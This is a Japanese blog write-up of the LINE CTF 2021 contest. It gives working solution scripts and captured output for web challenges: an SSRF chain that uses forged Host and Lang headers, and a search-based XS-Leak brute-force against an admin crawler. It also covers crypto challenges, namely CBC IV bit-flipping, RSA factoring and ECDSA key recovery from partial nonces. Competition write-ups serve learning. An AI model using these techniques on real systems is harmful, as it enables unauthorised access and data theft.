LINE株式会社主催のCTF。
既存のLINEのサイトからのリンクが見つからず、「本当にLINE主催なのか?」とちょっと心配だったけど、中の人がツイートしているので本当っぽい。宣伝が足りないかというとそんなことはなく、CTFtimeに載せていたので充分なのでしょう。日本語が併記されているわけでもなく、簡単な問題も少なく、初心者を呼び込んでもしょうがない感がある。
LINE主催のCTFです。
— naohisa ichihara (@nao_ichihara) March 9, 2021
CTF hosted by LINE, for the 1st time.https://t.co/UkyPnySTpQ
注意書きに、「代表者が反社かどうかscreeningをperformするぞ」と書かれていてしっかりしている。
スコアサーバーのデザインがLINE風ですごい……が、解いたチーム一覧を見る必要はそんなに無いし、問題文が見づらいし、問題の一覧をまとめて見られないし、不便だぞ……。
superflipは350点で29位。
50点になった問題しか解けていない。しかし、本当に簡単な問題しか解けていないかというとそんなことはなく、解いたチーム数に対して点数の減少が急すぎるんだよな。「Your Note」は正解22チームで50点。50点の問題と300点以上の問題しか無くなっている。
REV
2問あってどちらも解けていない。
Sakura
ブロックチェーンのスマートコントラクト。スマートコントラクト問、いつかは通したい。
PWN
問題がいっぱいあったけど解けていない。Linuxカーネルとか、wasmとか、ChromiumのJavaScriptエンジンとか。いつかは解きたい。
WEB
Welcome
LINECTF{welcome_to_linectf}
diveinternal
Target the server's internal entries, access admin, and roll back.
コンテナがいっぱいあってややこしい。それぞれがやっていることもややこしい。
問題文に書かれているように、privateの中のPythonアプリでDBのロールバックを実行させれば勝ち。ロールバックをさせるためには、DBをバックアップした上で、privateの/rollback
を今のDBとは異なるハッシュ値をdbhash
パラメタにして叩けば良い。もちろんprivateのAPIは直接は叩けない。
nginxのコンテナの中のnginxにLuaスクリプトが書かれていて、最初はその辺に何かあるのかと思った。でも、これは本当にログを取りたかっただけっぽい。
脆弱性は、privateのPythonアプリのここ。
:
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
:
@app.route('/coin', methods=['GET'])
def coin():
try:
response = app.response_class()
language = LanguageNomarize(request)
response.headers["Lang"] = language
data = getCoinInfo()
response.data = json.dumps(data)
return response
except Exception as e :
err = 'Error On {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno)
logger.error(err)
:
なお、nginxコンテナのnginxの設定は、
:
location / {
proxy_pass http://public:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $http_host;
proxy_cache_bypass $http_upgrade;
}
:
で、publicのnodeアプリでは以下のようになっているので、Host
HTTPヘッダは伝わる。
:
router.get('/coin', function(req, res, next) {
request({
headers: req.headers,
uri: `http://${target}/coin`,
}).pipe(res);
});
router.get('/addsub', function(req, res, next) {
request({
uri: `http://${target}/addsub`,
qs: {
email: req.query.email,
}
}).pipe(res);
});
:
/addsub
にはheaders
が無いのも怪しい。
import hmac, hashlib
print("src", hmac.new(b"let'sbitcorinparty", b"src=http://private:5000/jp?/fyapxq1118p2nchc", hashlib.sha512).hexdigest())
print("dbhash", hmac.new(b"let'sbitcorinparty", b"dbhash=fyapxq1118p2nchc", hashlib.sha512).hexdigest())
で、Sign
の値を求めて、
curl -v -sS \
-H 'Host: localhost:5000' \
-H 'Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc' \
-H 'Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114' \
http://35.190.234.195/apis/coin
dbhash=$(
curl -v -sS \
-H 'Host: localhost:5000' \
-H 'Lang: integrityStatus' \
http://35.190.234.195/apis/coin 2>&1 |
grep -oP '[0-9a-z]{32}')
key=$(echo -n $dbhash | sha512sum | cut -d\ -f1)
curl -v -sS \
-H 'Host: localhost:5000' \
-H 'Lang: rollback?dbhash=fyapxq1118p2nchc' \
-H 'Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9' \
-H "Key: ${key}" \
http://35.190.234.195/apis/coin
で解けた。
$ bash attack.sh
:
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: download?src=http://private:5000/jp?/fyapxq1118p2nchc
> Sign: 0fcff708f4fe37b4652ed2dd2bf9c3784eb2e168555c4d9a6fa18e9d1a4f51199ac9db7d029d9cec804a6c3960ca486de3e318cda16bbd8e3920da6464a57114
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: {"message": "success"}
:
> GET /apis/coin HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.58.0
> Accept: */*
> Lang: rollback?dbhash=fyapxq1118p2nchc
> Sign: 0606988cd44ae01786b3ffb3b78a47313ea2ee2191f74a6f76477a03b167ab150627d032d14de1677ede5304c9bae861fca47ab86e4fa3c2961c46c702c316c9
> Key: 1c7df85d2661b2182f03517a368493c02b31dc1da0ff49762854f62c4ef1a9d379b6efdc458852f89a0bf889e26cca4e9582415f532f39b6ba327d01f7ae6570
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.2
< Date: Sat, 20 Mar 2021 16:55:27 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 182
< Connection: keep-alive
< X-Powered-By: Express
< lang: LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
:
LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
Your Note
プライベートなノートを投稿できるアプリ。管理者にURLを通報できる。
XSSを探したけど見当たらないし、考えてみれば、そもそも管理者といえども私が投稿したノートは見られないのだった。
ノートの検索結果にダウンロードリンクがあって、検索結果が0件だとウェブページが表示されるけど、検索結果が1件以上だとJSONがダウンロードされる。ファイルがダウンロードされる場合は管理者のクローラーが失敗する。これでフラグを1文字ずつ探索できる。
URL通報にはproof of workが要求されるものの、これは自動化すれば良い。proof of workが23ビット分要求されるので10秒くらい掛かるし、問題サーバーが不安定だしで辛かった。終盤にこのproof of workが10ビット分に変更された。起きていて良かった。
import requests
import re
import pwn
#host = "http://34.84.94.138/"
#session = "189cd4cb-c59e-4d18-a574-9a01403cece5"
host = "http://35.200.11.35"
session = "5b7207a0-6b86-4fe7-a12a-50fa3c221f71"
#host = "http://34.84.72.167/"
#session = "ea7064c4-5cec-44d5-836a-89b621aa442a"
def check(flag):
r = requests.get(host+"/report", cookies={"session": session})
r = r.text
csrf = re.search(r'name="csrf_token" value="(.*?)"/>', r).group(1)
pow = re.search(r"<br>proof-of-work (.*?) 10", r).group(1)
s = pwn.process("proof-of-work %s 10"%pow, shell=True)
ans = s.read().decode()
s.close()
print(ans)
r = requests.post(host+"/report", cookies={"session": session},
data={"csrf_token": csrf, "url": host+"/search?download=&q="+flag, "proof": ans})
r = r.text
if "Report Bug" not in r:
print(r)
raise "error"
return "Thank you for the report!" not in r
flag = "LINECTF{1-kn0w-what-y0u-d0"
while True:
for a in "-0123456789abcdefghijklmnopqrstuvwxyz}":
print(flag+a)
if check(flag+a):
flag += a
break
else:
break
この検索がヒットしたかどうかの挙動の変化で非公開ツイートの内容が読めるという脆弱性がTwitterにあったらしい。実用になるかどうかはともかく。
LINECTF{1-kn0w-what-y0u-d0wn10ad}
CRY
babycrypto1
:
flag = open("flag", "rb").read().strip()
COMMAND = [b'test',b'show']
def run_server(client, aes_key, token):
client.send(b'test Command: ' + AESCipher(aes_key).encrypt(token+COMMAND[0]) + b'\n')
client.send(b'**Cipher oracle**\n')
client.send(b'IV...: ')
iv = b64decode(client.recv(1024).decode().strip())
client.send(b'Message...: ')
msg = b64decode(client.recv(1024).decode().strip())
client.send(b'Ciphertext:' + AESCipher(aes_key).encrypt_iv(msg,iv) + b'\n\n')
while(True):
client.send(b'Enter your command: ')
tt = client.recv(1024).strip()
tt2 = AESCipher(aes_key).decrypt(tt)
client.send(tt2 + b'\n')
if tt2 == token+COMMAND[1]:
client.send(b'The flag is: ' + flag)
client.close()
break
:
if __name__ == '__main__':
:
aes_key = get_random_bytes(AES.block_size)
token = b64encode(get_random_bytes(AES.block_size*10))[:AES.block_size*10]
process = multiprocessing.Process(target=run_server, args=(client, aes_key, token))
:
token+b'show'
を暗号化したものを送れば良い。IVと平文を指定して暗号化してくれて、token
とb'show'
の切れ目がAESブロックの境界なので、1個前の暗号文をIVとして暗号化してもらえば良い。CBCの仕組みを知っていますか?という問題。
from pwn import *
from base64 import b64decode, b64encode
s = remote("35.200.115.41", 16001)
s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])
s.sendlineafter("IV...: ", b64encode(test[-32:-16]))
s.sendlineafter("Message...: ", b64encode(b"show"))
s.recvuntil("Ciphertext:")
cipher = b64decode(s.recvline()[:-1])
s.sendlineafter("Enter your command: ", b64encode(test[:-16]+cipher[-16:]))
print(s.recvuntil("}").decode())
$ python3 attack.py
[+] Opening connection to 35.200.115.41 on port 16001: Done
tNHbcTIVXeqIxFpPa3KsARCaSL51x1xxxvYodbzhETk5oRVrJQ0TZapBM2UV4tlCg4CPkQZlnZJZbDqglOhTksfIoF7PbVGG4/1P5gkEsGzmDiCGVSKy4x9l9PXUQTQ5GxXPSFrNeBdISvGsckATiXvTTQ4Ajpuwshow
The flag is: LINECTF{warming_up_crypto_YEAH}
LINECTF{warming_up_crypto_YEAH}
babycrypto2
:
flag = open("flag", "rb").read().strip()
AES_KEY = get_random_bytes(AES.block_size)
TOKEN = b64encode(get_random_bytes(AES.block_size*10-1))
COMMAND = [b'test',b'show']
PREFIX = b'Command: '
def run_server(client):
client.send(b'test Command: ' + AESCipher(AES_KEY).encrypt(PREFIX+COMMAND[0]+TOKEN) + b'\n')
while(True):
client.send(b'Enter your command: ')
tt = client.recv(1024).strip()
tt2 = AESCipher(AES_KEY).decrypt(tt)
client.send(tt2 + b'\n')
if tt2 == PREFIX+COMMAND[1]+TOKEN:
client.send(b'The flag is: ' + flag)
client.close()
break
:
似たような問題。暗号化機能が無くなり、tokenが後ろに付くようになった。CBCならば、IVを1ビット反転させると、平文の先頭ブロックの対応する1ビットが反転する。後続には影響無し。暗号は内容を秘匿するためのものであって、改竄を防ぐためのものではない。
from pwn import *
from base64 import b64decode, b64encode
s = remote("35.200.39.68", 16002)
s.recvuntil("test Command: ")
test = b64decode(s.recvline()[:-1])
def xor(A, B):
return bytes([a^b for a, b in zip(A, B)])
show = test
show = xor(show[:16], xor(b"Command: test___", b"Command: show___"))+show[16:]
s.sendlineafter("Enter your command: ", b64encode(show))
print(s.recvuntil("}").decode())
$ python3 attack.py
[+] Opening connection to 35.200.39.68 on port 16002: Done
Command: showZzTosTPcUnBu44roqYGeyIjyJ22OoYp66c67bitZZthoRjCwTC9sW5jOFkVqW7WlMwJqI5Y+eJtxCkY4lkVkX3vzdDSkPtwB1FOrfHWPeGq4jOeprbrqhtcQzRdUsukyF1YdRzzZ8ezm2g82ydjFYcDrkfzk3ZQOzx0CpVulL80HGbwsB6amUMsmmVsC4jULWpg66++vj30B6p/aKGbh
The flag is: LINECTF{echidna_kawaii_and_crypto_is_difficult}
LINECTF{echidna_kawaii_and_crypto_is_difficult}
babycrypto3
ciphertext.txtとpub.pemが与えられる。
$ openssl rsa -pubin -text < pub.pem
RSA Public-Key: (394 bit)
Modulus:
03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----
394bit RSA。素因数分解できるか……? 他の問題を解きながらMsieveを動かしていたけれど、全然答えが出てこない。
RsaCtfToolに投げたら一瞬で答えが出てきた。
RsaCtfTool$ python3 RsaCtfTool.py --publickey ../pub.pem --uncipherfile ../ciphertext.txt
private argument is not set, the private key will not be displayed, even if recovered.
[*] Testing key ../pub.pem.
[*] Performing factordb attack on ../pub.pem.
Results for ../pub.pem:
Unciphered data :
HEX : 0x00026067ff851ecdcb61e50b83a515e3005130785055306c4f527942555345556752456c545645464f5130557543673d3d0a
INT (big endian) : 93642291186863225015737472848315771398135057931473251341587231211471564868517709899464755625073676430723959035346186
INT (little endian) : 103282109084838500432492642512020353948670062101186628291674723746246989709418757052122829802325798084932713167175287296
STR : b'\x00\x02`g\xff\x85\x1e\xcd\xcba\xe5\x0b\x83\xa5\x15\xe3\x00Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==\n'
$ echo "Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" | base64 -d
CLOSING THE DISTANCE.
RsaCtfToolすごいなぁという単純な話ではなく、コンテスト終了後のDiscordによると、RsaCtfToolは http://factordb.com/ から検索する機能もあって、コンテスト中にここに素因数分解結果が登録されたかららしい。
31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
= 291664785919250248097148750343149685985101
* 109249057662947381148470526527596255527988598887891132224092529799478353198637
で、桁数に偏りがある(普通にRSAの合成数を計算したらこうはならない)から、力技で殴ればギリギリ何とかなるのか?
LINECTF{CLOSING THE DISTANCE.}
babycrypto4
Our side-channel attack about ECDSA was quite successful.
We could capture the first 16-bit of the nonces,
which is the first half of them.Now find out the encryption key.
The victim is using the secp160r1 curve.
The following is the captured data: r, s, k, and hash respectively.
nonce($k$)は普通はn未満の整数からランダムに選ぶ。これが32bitしかない。しかも16bitが分かっているので残りは全探索できる。$k$が分かれば、ECDSAにおいて、$s=k^{-1}(z+rd_A) \mod n$なので、$d_A=(sk-z)r^{-1} \mod n$である。$z$は問題文のhash。なぜ、これらの値の組が20個も与えられているのだろう。1個で充分。てっきり最後に中国剰余定理を使うのかと思った。
p = 0xffffffffffffffffffffffffffffffff7fffffff
a = 0xffffffffffffffffffffffffffffffff7ffffffc
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
G = (0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
n = 0x0100000000000000000001f4c8f927aed3ca752257
r = 0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2
s = 0xe060459440ebc11a7cd811a66a341f095f5909e5
k0 = 0xef2b0000
hash = 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf
def add(A, B):
if A==(0, 0):
return B
if B==(0, 0):
return A
x1, y1 = A
x2, y2 = B
if A!=B:
phi = (y2-y1)*pow(x2-x1, p-2, p)
else:
phi = (3*x1*x1+a)*pow(2*y1, p-2, p)
x3 = phi**2-x1-x2
y3 = phi*(x1-x3)-y1
return (x3%p, y3%p)
def mul(k, X):
X2 = X
A = (0, 0)
while k>0:
if k%2!=0:
A = add(A, X2)
k //= 2
X2 = add(X2, X2)
return A
X = mul(k0, G)
for k in range(k0, k0+0x10000):
if X[0]==r:
dA = (s*k-hash)*pow(r, n-2, n)%n
print(hex(dA))
break
X = add(X, G)
$ python3 solve.py
0xc02d451ad3c1ac6b612a759a92b770dd3bca36e
LINECTF{c02d451ad3c1ac6b612a759a92b770dd3bca36e}